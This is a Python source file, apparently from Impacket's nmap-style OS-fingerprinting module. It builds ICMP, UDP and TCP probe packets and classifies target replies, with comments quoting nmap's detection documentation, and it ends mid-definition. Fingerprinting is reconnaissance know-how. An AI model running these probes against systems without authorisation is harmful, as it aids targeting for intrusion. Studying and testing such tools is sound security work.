g_nmap2_signature_filename="nmap-os-db" class os_id_exception: def __init__(self, value): self.value = value def __str__(self): return `self.value` class os_id_test: def __init__(self, id): self.__id = id self.__my_packet = None self.__result_dict = {} def test_id(self): return self.__class__.__name__ def get_test_packet(self): return self.__my_packet.get_packet() def set_packet(self, packet): self.__my_packet = packet def get_packet(self): return self.__my_packet def process(self, packet): pass def add_result(self, name, value): self.__result_dict[name] = value def get_id(self): return self.__id def is_mine(self, packet): pass def get_result_dict(self): return self.__result_dict; def get_final_result(self): "Returns a string representation of the final result of this test or None if no response was received" pass class icmp_request(os_id_test): type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY, ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY, ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY, ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY } def __init__(self, id, addresses, type): os_id_test.__init__(self, id) self.e = Ethernet() self.i = IP() self.icmp = ICMP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.__type = type self.icmp.set_icmp_type(type) self.e.contains(self.i) self.i.contains(self.icmp) self.set_packet(self.e) def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: return 0 icmp = ip.child() # icmp_request.type_filter is a dictionary that maps request # type codes to the reply codes if not icmp or \ icmp.get_icmp_type() != icmp_request.type_filter[self.__type]: return 0 if icmp.get_icmp_id() != self.get_id(): return 0 return 1 def process(self, packet): pass class nmap2_icmp_echo_probe_1(icmp_request): # The first one has the IP DF bit set, a type-of-service (TOS) byte # value of zero, a code of nine (even though it should be zero), # the sequence number 295, a random IP ID and ICMP request identifier, # and a random character repeated 120 times for the data payload. sequence_number = 295 id = 0x5678 def __init__(self, id, addresses): icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) self.i.set_ip_df(True) self.i.set_ip_tos(0) self.icmp.set_icmp_code(9) self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number) self.i.set_ip_id(nmap2_icmp_echo_probe_1.id) self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id) self.icmp.contains(Data("I" * 120)) def process(self, packet): pass class nmap2_icmp_echo_probe_2(icmp_request): # The second ping query is similar, except a TOS of four # (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is # sent, and the IP ID, request ID, and sequence numbers are incremented # by one from the previous query values. def __init__(self, id, addresses): icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO) self.i.set_ip_df(False) self.i.set_ip_tos(4) self.icmp.set_icmp_code(0) self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1) self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1) self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1) self.icmp.contains(Data("I" * 150)) def process(self, packet): pass class udp_closed_probe(os_id_test): ip_id = 0x1234 # HARDCODED def __init__(self, id, addresses, udp_closed ): os_id_test.__init__(self, id ) self.e = Ethernet() self.i = IP() self.u = UDP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.i.set_ip_id(udp_closed_probe.ip_id) self.u.set_uh_sport(id) self.u.set_uh_dport( udp_closed ) self.e.contains(self.i) self.i.contains(self.u) self.set_packet(self.e) def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.ICMP.protocol: return 0 icmp = ip.child() if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH: return 0 if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT: return 0; self.err_data = icmp.child() if not self.err_data: return 0 return 1 class tcp_probe(os_id_test): def __init__(self, id, addresses, tcp_ports, open_port ): self.result_string = "[]" os_id_test.__init__(self, id) self.e = Ethernet() self.i = IP() self.t = TCP() self.i.set_ip_src(addresses[0]) self.i.set_ip_dst(addresses[1]) self.i.set_ip_id(0x2323) # HARDCODED self.t.set_th_sport(id) if open_port: self.target_port = tcp_ports[0] else: self.target_port = tcp_ports[1] self.t.set_th_dport(self.target_port) self.e.contains(self.i) self.i.contains(self.t) self.set_packet(self.e) self.source_ip = addresses[0] self.target_ip = addresses[1] def socket_match(self, ip, tcp): # scr ip and port if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port): return 0 # dst ip and port if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()): return 0 return 1 def is_mine(self, packet): if packet.get_ether_type() != ImpactPacket.IP.ethertype: return 0 ip = packet.child() if not ip or ip.get_ip_p() != ImpactPacket.TCP.protocol: return 0 tcp = ip.child() if self.socket_match(ip, tcp): return 1 return 0 class nmap_tcp_probe(tcp_probe): def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): tcp_probe.__init__(self, id, addresses, tcp_ports, open_port) self.t.set_th_seq(sequence) self.set_resp(False) for op in options: self.t.add_option(op) def set_resp(self,resp): pass class nmap1_tcp_probe(nmap_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # From: http://nmap.org/nmap-fingerprinting-old.html # [...] # Nmap sends these options along with almost every probe packet: # Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops; # [...] # From nmap-4.22SOC8/osscan.cc:get_fingerprint(...) # [...] # "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000" # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\010\012\077\077\077\077\000\000\000\000 TCPOption(TCPOption.TCPOPT_EOL), #\000 TCPOption(TCPOption.TCPOPT_EOL) #\000 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) def set_resp(self,resp): if resp: self.add_result("Resp", "Y") else: self.add_result("Resp", "N") def process(self, packet): ip = packet.child() tcp = ip.child() self.set_resp(True) if ip.get_ip_df(): self.add_result("DF", "Y") else: self.add_result("DF", "N") self.add_result("W", tcp.get_th_win()) if tcp.get_th_ack() == self.sequence + 1: self.add_result("ACK", "S++") elif tcp.get_th_ack() == self.sequence: self.add_result("ACK", "S") else: self.add_result("ACK", "O") flags = [] # TCP flags if tcp.get_ECE(): flags.append("B") if tcp.get_URG(): flags.append("U") if tcp.get_ACK(): flags.append("A") if tcp.get_PSH(): flags.append("P") if tcp.get_RST(): flags.append("R") if tcp.get_SYN(): flags.append("S") if tcp.get_FIN(): flags.append("F") self.add_result("FLAGS", flags) options = [] for op in tcp.get_options(): if op.get_kind() == TCPOption.TCPOPT_EOL: options.append("L") elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: options.append("M") if op.get_mss() == self.mss: options.append("E") # Echoed elif op.get_kind() == TCPOption.TCPOPT_NOP: options.append("N") elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: options.append("T") elif op.get_kind() == TCPOption.TCPOPT_WINDOW: options.append("W") self.add_result("OPTIONS", options) def get_final_result(self): return {self.test_id(): self.get_result_dict()} class nmap2_tcp_probe(nmap_tcp_probe): acknowledgment = 0x181d4f7b def __init__(self, id, addresses, tcp_ports, open_port, sequence, options): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, sequence, options) self.t.set_th_ack(self.acknowledgment) def set_resp(self,resp): # Responsiveness (R) # This test simply records whether the target responded to a given probe. # Possible values are Y and N. If there is no reply, remaining fields # for the test are omitted. if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip = packet.child() tcp = ip.child() # R, DF, T*, TG*, W, S, A, F, O, RD*, Q self.set_resp(True) tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment) self.add_result("DF", tests.get_df()) self.add_result("W", tests.get_win()) self.add_result("S", tests.get_seq()) self.add_result("A", tests.get_ack()) self.add_result("F", tests.get_flags()) self.add_result("O", tests.get_options()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): return {self.test_id() : self.get_result_dict()} class nmap2_ecn_probe(nmap_tcp_probe): # From nmap-4.22SOC8/osscan2.cc: # [...] # "\003\003\012\001\002\004\005\264\004\002\001\001" # [...] # From: http://nmap.org/book/osdetect-methods.html # [...] # This probe tests for explicit congestion notification (ECN) support # in the target TCP stack. ECN is a method for improving Internet # performance by allowing routers to signal congestion problems before # they start having to drop packets. It is documented in RFC 3168. # Nmap tests this by sending a SYN packet which also has the ECN CWR # and ECE congestion control flags set. For an unrelated (to ECN) test, # the urgent field value of 0xF7F5 is used even though the urgent flag # is not set. The acknowledgment number is zero, sequence number is # random, window size field is three, and the reserved bit which # immediately precedes the CWR bit is set. TCP options are WScale (10), # NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an # open port. # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\002\004\005\0264 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\004\002 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_NOP) #\001 ] def __init__(self, id, addresses, tcp_ports): nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, 0x8b6a, self.tcp_options) self.t.set_SYN() self.t.set_CWR() self.t.set_ECE() self.t.set_flags(0x800) self.t.set_th_urp(0xF7F5) self.t.set_th_ack(0) self.t.set_th_win(3) #self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000 def test_id(self): return "ECN" def set_resp(self,resp): if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip = packet.child() tcp = ip.child() # R, DF, T*, TG*, W, O, CC, Q self.set_resp(True) tests = nmap2_tcp_tests(ip, tcp, 0, 0) self.add_result("DF", tests.get_df()) self.add_result("W", tests.get_win()) self.add_result("O", tests.get_options()) self.add_result("CC", tests.get_cc()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): return {self.test_id() : self.get_result_dict()} class nmap2_tcp_tests: def __init__(self, ip, tcp, sequence, acknowledgment): self.__ip = ip self.__tcp = tcp self.__sequence = sequence self.__acknowledgment = acknowledgment def get_df(self): # IP don't fragment bit (DF) # The IP header contains a single bit which forbids routers from fragmenting # a packet. If the packet is too large for routers to handle, they will just # have to drop it (and ideally return a "destination unreachable, # fragmentation needed" response). This test records Y if the bit is set, # and N if it isn't. if self.__ip.get_ip_df(): return "Y" else: return "N" def get_win(self): # TCP initial window size (W, W1-W6) # This test simply records the 16-bit TCP window size of the received packet. return "%X" % self.__tcp.get_th_win() def get_ack(self): # TCP acknowledgment number (A) # This test is the same as S except that it tests how the acknowledgment # number in the response compares to the sequence number in the # respective probe. # Value Description # Z Acknowledgment number is zero. # S Acknowledgment number is the same as the sequence number in the probe. # S+ Acknowledgment number is the same as the sequence number in the probe plus one. # O Acknowledgment number is something else (other). if self.__tcp.get_th_ack() == self.__sequence + 1: return "S+" elif self.__tcp.get_th_ack() == self.__sequence: return "S" elif self.__tcp.get_th_ack() == 0: return "Z" else: return "O" def get_seq(self): # TCP sequence number (S) # This test examines the 32-bit sequence number field in the TCP # header. Rather than record the field value as some other tests # do, this one examines how it compares to the TCP acknowledgment # number from the probe that elicited the response. # Value Description # Z Sequence number is zero. # A Sequence number is the same as the acknowledgment number in the probe. # A+ Sequence number is the same as the acknowledgment number in the probe plus one. # O Sequence number is something else (other). if self.__tcp.get_th_seq() == self.__acknowledgment + 1: return "A+" elif self.__tcp.get_th_seq() == self.__acknowledgment: return "A" elif self.__tcp.get_th_seq() == 0: return "Z" else: return "O" def get_flags(self): # TCP flags (F) # This field records the TCP flags in the response. Each letter represents # one flag, and they occur in the same order as in a TCP packet (from # high-bit on the left, to the low ones). So the value SA represents the # SYN and ACK bits set, while the value AS is illegal (wrong order). # The possible flags are shown in Table 8.7. # Character Flag name Flag byte value # E ECN Echo (ECE) 64 # U Urgent Data (URG) 32 # A Acknowledgment (ACK) 16 # P Push (PSH) 8 # R Reset (RST) 4 # S Synchronize (SYN) 2 # F Final (FIN) 1 flags = "" if self.__tcp.get_ECE(): flags += "E" if self.__tcp.get_URG(): flags += "U" if self.__tcp.get_ACK(): flags += "A" if self.__tcp.get_PSH(): flags += "P" if self.__tcp.get_RST(): flags += "R" if self.__tcp.get_SYN(): flags += "S" if self.__tcp.get_FIN(): flags += "F" return flags def get_options(self): # Option Name Character Argument (if any) # End of Options List (EOL) L # No operation (NOP) N # Maximum Segment Size (MSS) M The value is appended. Many systems # echo the value used in the corresponding probe. # Window Scale (WS) W The actual value is appended. # Timestamp (TS) T The T is followed by two binary characters # representing the TSval and TSecr values respectively. # The characters are 0 if the field is zero # and 1 otherwise. # Selective ACK permitted (SACK) S options = "" for op in self.__tcp.get_options(): if op.get_kind() == TCPOption.TCPOPT_EOL: options += "L" elif op.get_kind() == TCPOption.TCPOPT_MAXSEG: options += "M%X" % (op.get_mss()) elif op.get_kind() == TCPOption.TCPOPT_NOP: options += "N" elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP: options += "T%i%i" % (int(op.get_ts()!=0), int(op.get_ts_echo()!=0)) elif op.get_kind() == TCPOption.TCPOPT_WINDOW: options += "W%X" % (op.get_shift_cnt()) elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED: options += "S" return options def get_cc(self): # Explicit congestion notification (CC) # This test is only used for the ECN probe. That probe is a SYN packet # which includes the CWR and ECE congestion control flags. When the # response SYN/ACK is received, those flags are examined to set the # CC (congestion control) test value as described in Table 8.3. # Table 8.3. CC test values # Value Description # Y Only the ECE bit is set (not CWR). This host supports ECN. # N Neither of these two bits is set. The target does not support # ECN. # S Both bits are set. The target does not support ECN, but it # echoes back what it thinks is a reserved bit. # O The one remaining combination of these two bits (other). ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR() if ece and not cwr: return "Y" elif not ece and not cwr: return "N" elif ece and cwr: return "S" else: return "O" def get_quirks(self): # TCP miscellaneous quirks (Q) # This tests for two quirks that a few implementations have in their # TCP stack. The first is that the reserved field in the TCP header # (right after the header length) is nonzero. This is particularly # likely to happen in response to the ECN test as that one sets a # reserved bit in the probe. If this is seen in a packet, an "R" # is recorded in the Q string. # The other quirk Nmap tests for is a nonzero urgent pointer field # value when the URG flag is not set. This is also particularly # likely to be seen in response to the ECN probe, which sets a # non-zero urgent field. A "U" is appended to the Q string when # this is seen. # The Q string must always be generated in alphabetical order. # If no quirks are present, the Q test is empty but still shown. quirks = "" if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0: quirks += "R" if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0: quirks += "U" return quirks class nmap2_tcp_probe_2_6(nmap2_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # From nmap-4.22SOC8/osscan2.cc: # [...] # "\003\003\012\001\002\004\001\011\010\012\377\377\377\377\000\000\000\000\004\002" # [...] # From: http://nmap.org/book/osdetect-methods.html # [...] # The six T2 through T7 tests each send one TCP probe packet. # With one exception, the TCP options data in each case is (in hex) # 03030A0102040109080AFFFFFFFF000000000402. # Those 20 bytes correspond to window scale (10), NOP, MSS (265), # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted. # (... tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 012), #\003\003\012 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) class nmap2_tcp_probe_7(nmap2_tcp_probe): sequence = 0x8453 # 0xBASE, obviously mss = 265 # ...) # The exception is that T7 uses a Window scale value of 15 rather than 10 # [...] tcp_options = [ TCPOption(TCPOption.TCPOPT_WINDOW, 017), #\003\003\017 TCPOption(TCPOption.TCPOPT_NOP), #\001 TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011 TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000 TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002 ] def __init__(self, id, addresses, tcp_ports, open_port): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, self.sequence, self.tcp_options) class nmap_port_unreachable(udp_closed_probe): def __init__(self, id, addresses, ports): udp_closed_probe.__init__(self, id, addresses, ports[2]) self.set_resp(False) def test_id(self): pass def set_resp(self, resp): pass def process(self, packet): pass class nmap1_port_unreachable(nmap_port_unreachable): def __init__(self, id, addresses, ports): nmap_port_unreachable.__init__(self, id, addresses, ports) self.u.contains(Data("A" * 300)) def test_id(self): return "PU" def set_resp(self,resp): if resp: self.add_result("Resp", "Y") else: self.add_result("Resp", "N") def process(self, packet): ip_orig = self.err_data if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: return udp = ip_orig.child() if not udp: return ip = packet.child() self.set_resp(True) if ip.get_ip_df(): self.add_result("DF", "Y") else: self.add_result("DF", "N") self.add_result("TOS", ip.get_ip_tos()) self.add_result("IPLEN", ip.get_ip_len()) self.add_result("RIPTL", ip_orig.get_ip_len()) # Some systems return a different IPLEN recv_ip_id = ip_orig.get_ip_id() if 0 == recv_ip_id: self.add_result("RID", "0") elif udp_closed_probe.ip_id == recv_ip_id: self.add_result("RID", "E") else: self.add_result("RID", "F") ip_sum = ip_orig.get_ip_sum() ip_orig.set_ip_sum(0) checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) if 0 == checksum: self.add_result("RIPCK", "0") elif checksum == ip_sum: self.add_result("RIPCK", "E") else: self.add_result("RIPCK", "F") udp_sum = udp.get_uh_sum() udp.set_uh_sum(0) udp.auto_checksum = 1 udp.calculate_checksum() if 0 == udp_sum: self.add_result("UCK", "0") elif self.u.get_uh_sum() == udp_sum: self.add_result("UCK", "E") else: self.add_result("UCK", "F") self.add_result("ULEN", udp.get_uh_ulen()) if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data self.add_result("DAT", "E") else: self.add_result("DAT", "F") def get_final_result(self): return {self.test_id(): self.get_result_dict()} class nmap2_port_unreachable(nmap_port_unreachable): # UDP (U1) # This probe is a UDP packet sent to a closed port. The character 'C' # (0x43) is repeated 300 times for the data field. The IP ID value is # set to 0x1042 for operating systems which allow us to set this. If # the port is truly closed and there is no firewall in place, Nmap # expects to receive an ICMP port unreachable message in return. # That response is then subjected to the R, DF, T, TG, TOS, IPL, UN, # RIPL, RID, RIPCK, RUCK, RUL, and RUD tests. def __init__(self, id, addresses, ports): nmap_port_unreachable.__init__(self, id, addresses, ports) self.u.contains(Data("C" * 300)) self.i.set_ip_id(0x1042) def test_id(self): return "U1" def set_resp(self,resp): if resp: self.add_result("R", "Y") else: self.add_result("R", "N") def process(self, packet): ip_orig = self.err_data if ip_orig.get_ip_p() != ImpactPacket.UDP.protocol: return udp = ip_orig.child() if not udp: return ip = packet.child() icmp = ip.child() if ip.get_ip_df(): self.add_result("DF", "Y") else: self.add_result("DF", "N") # XXX T # IP initial time-to-live (T) # IP packets contain a field named time-to-live (TTL) which is # decremented every time they traverse a router. If the field # reaches zero, the packet must be discarded. This prevents # packets from looping endlessly. Because operating systems differ # on which TTL they start with, it can be used for OS detection. # Nmap determines how many hops away it is from the target by # examining the ICMP port unreachable response to the U1 probe. # That response includes the original IP packet, including the # already-decremented TTL field, received by the target. By # subtracting that value from our as-sent TTL, we learn how many # hops away the machine is. Nmap then adds that hop distance to # the probe response TTL to determine what the initial TTL was # when that ICMP probe response packet was sent. That initial TTL # value is stored in the fingerprint as the T result. # Even though an eight-bit field like TTL can never hold values # greater than 0xFF, this test occasionally results in values of # 0x100 or higher. This occurs when a system (could be the source, # a target, or a system in between) corrupts or otherwise fails to # correctly decrement the TTL. It can also occur due to asymmetric # routes. # XXX TG # IP initial time-to-live guess (TG) # It is not uncommon for Nmap to receive no response to the U1 probe, # which prevents Nmap from learning how many hops away a target is. # Firewalls and NAT devices love to block unsolicited UDP packets. # But since common TTL values are spread well apart and targets are # rarely more than 20 hops away, Nmap can make a pretty good guess # anyway. Most systems send packets with an initial TTL of 32, 60, 64, # 128, or 255. So the TTL value received in the response is rounded # up to the next value out of 32, 64, 128, or 255. 60 is not in that # list because it cannot be reliably distinguished from 64. It is # rarely seen anyway. # The resulting guess is stored in the TG field. This TTL guess field # is not printed in a subject fingerprint if the actual TTL (T) value # was discovered. # IP type of service (TOS) # This test simply records the type of service byte from the # IP header of ICMP port unreachable packets. # This byte is described in RFC 791 self.add_result("TOS", "%X" % ip.get_ip_tos()) # IP total length (IPL) # This test records the total length (in octets) of an IP packet. # It is only used for the port unreachable response elicited by the # U1 test. self.add_result("IPL", "%X" % ip.get_ip_len()) # Unused port unreachable field nonzero (UN) # An ICMP port unreachable message header is eight bytes long, but # only the first four are used. RFC 792 states that the last four # bytes must be zero. A few implementations (mostly ethernet switches # and some specialized embedded devices) set it anyway. The value of # those last four bytes is recorded in this field. self.add_result("UN", "%X" % icmp.get_icmp_void()) # Returned probe IP total length value (RIPL) # ICMP port unreachable messages (as are sent in response to the U1 # probe) are required to include the IP header which generated them. # This header should be returned just as they received it, but some # implementations send back a corrupted version due to changes they # made during IP processing. This test simply records the returned # IP total length value. If the correct value of 0x148 (328) is # returned, the value G (for good) is stored instead of the actual value. if ip_orig.get_ip_len() == 0x148: self.add_result("RIPL","G") else: self.add_result("RIPL", "%X" % ip_orig.get_ip_len()) # Returned probe IP ID value (RID) # The U1 probe has a static IP ID value of 0x1042. If that value is # returned in the port unreachable message, the value G is stored for # this test. Otherwise the exact value returned is stored. Some systems, # such as Solaris, manipulate IP ID values for raw IP packets that # Nmap sends. In such cases, this test is skipped. We have found # that some systems, particularly HP and Xerox printers, flip the bytes # and return 0x4210 instead. if 0x1042 == ip_orig.get_ip_id(): self.add_result("RID", "G") else: self.add_result("RID", "%X" % ip_orig.get_ip_id()) # Integrity of returned probe IP checksum value (RIPCK) # The IP checksum is one value that we don't expect to remain the same # when returned in a port unreachable message. After all, each network # hop during transit changes the checksum as the TTL is decremented. # However, the checksum we receive should match the enclosing IP packet. # If it does, the value G (good) is stored for this test. If the returned # value is zero, then Z is stored. Otherwise the result is I (invalid). ip_sum = ip_orig.get_ip_sum() ip_orig.set_ip_sum(0) checksum = ip_orig.compute_checksum(ip_orig.get_bytes()) if 0 == checksum: self.add_result("RIPCK", "Z") elif checksum == ip_sum: self.add_result("RIPCK", "G") else: self.add_result("RIPCK", "I") # Integrity of returned probe UDP length and checksum (RUL and RUCK) # The UDP header length and checksum values should be returned exactly # as they were sent. If so, G is recorded for these tests. Otherwise # the value actually returned is recorded. The proper length is 0x134 (308). udp_sum = udp.get_uh_sum() udp.set_uh_sum(0) udp.auto_checksum = 1 udp.calculate_checksum() if self.u.get_uh_sum() == udp_sum: self.add_result("RUCK", "G") else: self.add_result("RUCK", "%X" % udp_sum) if udp.get_uh_ulen() == 0x134: self.add_result("RUL","G") else: self.add_result("RUL", "%X" % udp.get_uh_ulen()) # Integrity of returned UDP data (RUD) # If the UDP payload returned consists of 300 'C' (0x43) # characters as expected, a G is recorded for this test. # Otherwise I (invalid) is recorded. if ip.child().child().child().child() == udp.child(): self.add_result("RUD", "G") else: self.add_result("RUD", "I") def get_final_result(self): return {self.test_id(): self.get_result_dict()} class OS_ID: def __init__(self, target, ports): pcap_dev = pcap.lookupdev() self.p = pcap.open_live(pcap_dev, 600, 0, 3000) self.__source = self.p.getlocalip() self.__target = target self.p.setfilter("src host %s and dst host %s" % (target, self.__source), 1, 0xFFFFFF00) self.p.setmintocopy(10) self.decoder = EthDecoder() self.tests_sent = [] self.outstanding_count = 0 self.results = {} self.current_id = 12345 self.__ports = ports def releasePcap(self): if not (self.p is None): self.p.close() def get_new_id(self): id = self.current_id self.current_id += 1 self.current_id &= 0xFFFF return id def send_tests(self, tests): self.outstanding_count = 0 for t_class in tests: # Ok, I need to know if the constructor accepts the parameter port # We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :( if t_class.__init__.im_func.func_code.co_argcount == 4: test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports ) else: test = t_class(self.get_new_id(), [self.__source, self.__target] ) self.p.sendpacket(test.get_test_packet()) self.outstanding_count += 1 self.tests_sent.append(test) while self.p.readready(): self.p.dispatch(1, self.packet_handler) while self.outstanding_count > 0: data = self.p.next()[0] if data: self.packet_handler(0, data) else: break def run(self): pass def get_source(self): return self.__source def get_target(self): return self.__target def get_ports(self): return self.__ports def packet_handler(self, len, data): packet = self.decoder.decode(data) for t in self.tests_sent: if t.is_mine(packet): t.process(packet) self.outstanding_count -= 1 class nmap1_tcp_open_1(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ECE() self.t.set_SYN() def test_id(self): return "T1" def is_mine(self, packet): if tcp_probe.is_mine(self, packet): ip = packet.child() if not ip: return 0 tcp = ip.child() if not tcp: return 0 if tcp.get_SYN() and tcp.get_ACK(): return 1 else: return 0 else: return 0 class nmap1_tcp_open_2(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) def test_id(self): return "T2" class nmap2_tcp_open_2(nmap2_tcp_probe_2_6): # From: http://nmap.org/book/osdetect-methods.html # [...] # T2 sends a TCP null (no flags set) packet with the IP DF bit set and a # window field of 128 to an open port. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.i.set_ip_df(1) self.t.set_th_win(128) def test_id(self): return "T2" class nmap1_tcp_open_3(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports ): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_FIN() self.t.set_URG() self.t.set_PSH() def test_id(self): return "T3" class nmap2_tcp_open_3(nmap2_tcp_probe_2_6): # ... # T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a # window field of 256 to an open port. The IP DF bit is not set. # ... def __init__(self, id, addresses, tcp_ports ): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_FIN() self.t.set_URG() self.t.set_PSH() self.t.set_th_win(256) self.i.set_ip_df(0) def test_id(self): return "T3" class nmap1_tcp_open_4(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ACK() def test_id(self): return "T4" class nmap2_tcp_open_4(nmap2_tcp_probe_2_6): # ... # T4 sends a TCP ACK packet with IP DF and a window field of 1024 to # an open port. # ... def __init__(self, id, addresses, tcp_ports ): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1) self.t.set_ACK() self.i.set_ip_df(1) self.t.set_th_win(1024) def test_id(self): return "T4" class nmap1_seq(nmap1_tcp_probe): SEQ_UNKNOWN = 0 SEQ_64K = 1 SEQ_TD = 2 SEQ_RI = 4 SEQ_TR = 8 SEQ_i800 = 16 SEQ_CONSTANT = 32 TS_SEQ_UNKNOWN = 0 TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 TS_SEQ_2HZ = 2 TS_SEQ_100HZ = 3 TS_SEQ_1000HZ = 4 TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp IPID_SEQ_UNKNOWN = 0 IPID_SEQ_INCR = 1 # simple increment by one each time IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1) self.t.set_SYN() self.t.set_th_seq(id) # Used to match results with sent packets. def process(self, p): raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) class nmap2_seq(nmap2_tcp_probe): TS_SEQ_UNKNOWN = 0 TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0 TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp IPID_SEQ_UNKNOWN = 0 IPID_SEQ_INCR = 1 # simple increment by one each time IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down) IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this) def __init__(self, id, addresses, tcp_ports, options): nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, id, options) self.t.set_SYN() def process(self, p): raise Exception("Method process is meaningless for class %s." % self.__class__.__name__) class 